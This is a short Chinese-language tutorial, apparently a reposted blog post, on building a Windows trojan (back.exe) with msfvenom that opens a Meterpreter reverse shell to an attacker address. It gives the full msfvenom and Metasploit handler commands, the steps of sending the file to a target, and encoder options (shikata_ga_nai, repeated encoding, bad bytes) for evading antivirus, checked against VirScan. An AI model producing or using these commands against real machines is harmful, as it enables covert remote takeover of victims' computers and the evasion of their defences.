當我們需要往目標機上傳木馬檔案時，我們就可以利用msfvenom生成一個木馬檔案，并用metersploit進行監聽，就能夠反彈回shell，
我們制作的木馬檔案有沒有免殺功能，可以在virscan中進行掃描檢測一下，
https://www.virscan.org/
或者在本地用一些殺毒軟體進行檢測，
常規利用
1. 生成windows木馬程式，
生成一個windows的木馬應用程式：back.exe，并反彈shell至192.168.91.132:8836埠，我們可以利用metersploit進行監聽
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.132 LPORT=8836 -f exe -o back.exe
-p 是payload，就是控制目標主機以后，要讓他干什么，具體的命令就是payload.
-f 是生成的后門的格式，
-o 是輸出檔案名
2. 將木馬程式發送給目標機，
3. 在自己的kali中開啟metersploit，
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.91.132 #這里的IP地址就是我們木馬檔案中要反彈的IP地址
set LPORT 8836
run
4. 目標機點擊了back.exe，
當目標機運行了木馬程式時，我們msf這邊就上線了，一般這種的會被殺毒軟體發現，要想不被發現，就要制作免殺木馬程式，
制作免殺木馬
msfvenom -l encoders #查看有哪些編碼格式，
-e x86/shikata_ga_nai 對木馬編碼進行免殺
-i 5 指定編碼5次，這個次數可以隨便修改，
-b '\x00' 指定一些壞位元組，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/436345.html
標籤：其他